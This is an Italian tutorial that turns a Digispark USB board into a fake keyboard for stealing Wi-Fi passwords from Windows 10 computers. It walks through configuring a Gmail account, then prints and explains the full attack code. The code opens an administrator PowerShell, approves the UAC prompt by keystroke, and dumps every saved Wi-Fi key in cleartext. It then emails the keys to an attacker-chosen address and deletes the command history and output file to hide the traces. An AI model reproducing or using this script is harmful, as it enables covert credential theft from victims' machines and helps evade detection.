Programmazione Digispark Kickstarter per rubare credenziali Wi-Fi

Con i passaggi sopra indicati abbiamo programmato e testato il dispositivo ma la funzione di accendere e spegnere il led serve a poco.

Di seguito andremo a programmare la Digispark per rubare le password Wi-Fi quando viene connessa ad un PC con sistema operativo Windows 10 e inviarle ad un nostro account di posta. 

Per la dimostrazione utilizzerò un account Gmail. Per utilizzare questo tipo di account è necessario abilitare l'accesso alle app meno sicure nelle impostazioni dell'account ciò abbasserà la sicurezza della casella di posta elettronica pertanto consiglio di effettuare l'operazione su una mailbox "di servizio". Per attivare tale impostazione:
  • Dalla pagina web di Google accedere al proprio account;
  • Accedere alla pagina https://myaccount.google.com;
  • Cliccare sulla sezione Sicurezza (sul lato sinistro della schermata);
  • Nella sezione Accesso app meno sicure cliccare su Attiva accesso (sconsigliato);
    Gmail, Accesso app meno sicure
    FIG 18 - Gmail, Accesso app meno sicure
  • Dallo slider abilitare l'opzione Consenti app meno sicure;
    Gmail, Consenti app meno sicure
    FIG 19 - Gmail, Consenti app meno sicure
  • Scaricare dal seguente link il file Digispark_Wi-Fi_pwd_to_email.zip
    DOWNLOAD
  • Scompattare il file. Cliccare 2 volte sul file Digispark_Wi-Fi_pwd_to_email.INO per aprirlo nell'IDE Arduino.
  • All'interno del file sostituire:
    - INDIRIZZO_GMAIL_MITTENTE con l'indirizzo Gmail che vogliamo utilizzare per l'invio dei dati;
    - PASSWORD con la password dell'account Gmail con il quale inviamo;
    - INDIRIZZO_EMAIL_DESTINATARIO indirizzo email a cui vogliamo recapitare i dati rubati.
  • Cliccare sul tasto carica per compilare e caricare il programma sul dispositivo. Al termine della procedura basterà collegare il dispositivo per meno di 30 secondi ad un PC Windows 10 per rubare le credenziali Wi-Fi.
Digispark, codice programma
FIG 20 - Digispark, codice programma


Analisi del programma

Come indicato all'inizio dell'articolo, il dispositivo Digispark viene riconosciuto dal sistema operativo come una tastiera. Per la programmazione non facciamo altro che passare al dispositivo i tasti da digitare in modo da scrivere ed eseguire comandi al posto nostro.
Il linguaggio di programmazione utilizzato per programmare Arduino (e le schede basate su di esso) è il Wiring. Si tratta di un linguaggio di programmazione piuttosto semplice che consente la definizione di costanti, definizione di variabili e l'utilizzo di librerie esterne.
In questa parte dell'articolo andremo ad analizzare il contenuto del file Digispark_Wi-Fi_pwd_to_email.INO che rappresenta il programma principale.

La prima riga che ritroviamo è
#include "KeyboardIT.h"
Con questa istruzione viene caricata la libreria KeyboardIT.h nella quale è contenuta la mappatura dei tasti della tastiera italiana. 
Successivamente ritroviamo la procedura void setup.
void setup() {
}
Tale procedura, presente in tutti i programmi Arduino, viene utilizzata per impostare le porte presenti sulla scheda (input/output) ed eseguire comandi una sola volta non appena il dispositivo viene collegato. Si tratta di funzioni che per il nostro scopo non sono necessarie pertanto la procedura è vuota.

La procedura void loop() 
void loop() {
contiene le istruzioni del programma che vengono eseguite ciclicamente (in loop) ovvero quando si arriva alla fine il programma riparte dall'inizio.

Con l'istruzione
DigiKeyboard.sendKeyStroke(0);
viene simulata la pressione di un tasto. Con sendKeyStroke(), utilizzato anche in altri punti del programma, viene simulata la pressione di un tasto o di un gruppo di tasti (separati da virgola). Il nome dei tasti passati al metodo si basa sulla mappatura presente all'interno della libreria KeyboardIT.h.


DigiKeyboard.delay(500);
L'istruzione inserisce un ritardo, specificato in millisecondi tra parentesi, prima di eseguire l'istruzione successiva.

Il blocco di istruzioni successivo
  DigiKeyboard.sendKeyStroke(KEY_X, MOD_GUI_LEFT);
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_A);
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_S, MOD_ALT_LEFT);
  DigiKeyboard.delay(500);
  DigiKeyboard.print(F("(netsh wlan show profiles) | Select-String '\:(.+)$' | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} 
   | %{(netsh wlan show profile name=$name key=clear)}  | Out-File wifi.txt; exit"));
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(3000);

simula la combinazione di tasti Windows+X che, in Windows 10, apre il menu contestuale del tasto Start. Successivamente viene simulata la pressione del tasto A che nella versione aggiornata del sistema operativo Microsoft e nel menu contestuale aperto in precedenza corrisponde all'avvio di Windows PowerShell (amministratore)(FIG 21). Per rispondere affermativamente alla finestra del Controllo dell'account utente, viene utilizzato sendKeyStroke(KEY_S, MOD_ALT_LEFT) che corrisponde alla combinazione ALT+S.
Windows 10, Windows PowerShell (amministratore)
FIG 21 - Windows 10, Windows PowerShell (amministratore)

Il metodo DigiKeyboard.print consente di stampare/scrivere a video (in questo caso all'interno della finestra PowerShell) il comando che gli viene passato. Il comando verrà eseguito con l'istruzione successiva DigiKeyboard.sendKeyStroke(KEY_ENTER) che simula la pressione del tasto Invio. Nel nostro caso netsh wlan show profiles visualizza tutti i profili Wi-Fi presenti sulla macchina quindi, per ognuno, viene visualizzata la password in chiaro con il comando netsh wlan show profile name=$name key=clear. L'output viene rediretto all'interno del file wifi.txt.

A questo punto, nel blocco successivo,
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(3000);
  DigiKeyboard.sendKeyStroke(KEY_X, MOD_GUI_LEFT);
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_A);
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_S, MOD_ALT_LEFT);
  DigiKeyboard.delay(500);
  DigiKeyboard.print(F("$SMTPInfo = New-Object Net.Mail.SmtpClient('smtp.gmail.com', 587); $SMTPInfo.EnableSsl = $true; 
   $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('INDIRIZZO_GMAIL_MITTENTE', 'PASSWORD'); 
   $ReportEmail = New-Object System.Net.Mail.MailMessage; $ReportEmail.From = 'INDIRIZZO_GMAIL_MITTENTE';
   $ReportEmail.To.Add('INDIRIZZO_EMAIL_DESTINATARIO'); $ReportEmail.Subject = 'Credenziali reti Wi-Fi :)'; 
   $ReportEmail.Body = 'In allegato le credenziali. '; $ReportEmail.Attachments.Add('wifi.txt'); 
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(500);

viene avviato nuovamente Windows PowerShell (amministratore). Con New-Object Net.Mail.SmtpClient viene creata l'email con in allegato il file wifi.txt contenente le password e inviata con la digitazione del tasto Invio presente nell'istruzione successiva.

Nel blocco finale andiamo a cancellare le tracce.
  DigiKeyboard.sendKeyStroke(KEY_X, MOD_GUI_LEFT);
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_A);
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_S, MOD_ALT_LEFT);
  DigiKeyboard.delay(500);
  DigiKeyboard.print(F("del (Get-PSReadlineOption).HistorySavePath;exit"));
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
  DigiKeyboard.delay(500);
  DigiKeyboard.print("cmd");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(500);
  DigiKeyboard.print(F("del wifi.txt"));
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(100);
  DigiKeyboard.print(F("exit"));
  DigiKeyboard.sendKeyStroke(KEY_ENTER)
  for(;;){ /*empty*/ }

Viene eliminata la cronologia dei comando PowerShell e il file wifi.txt.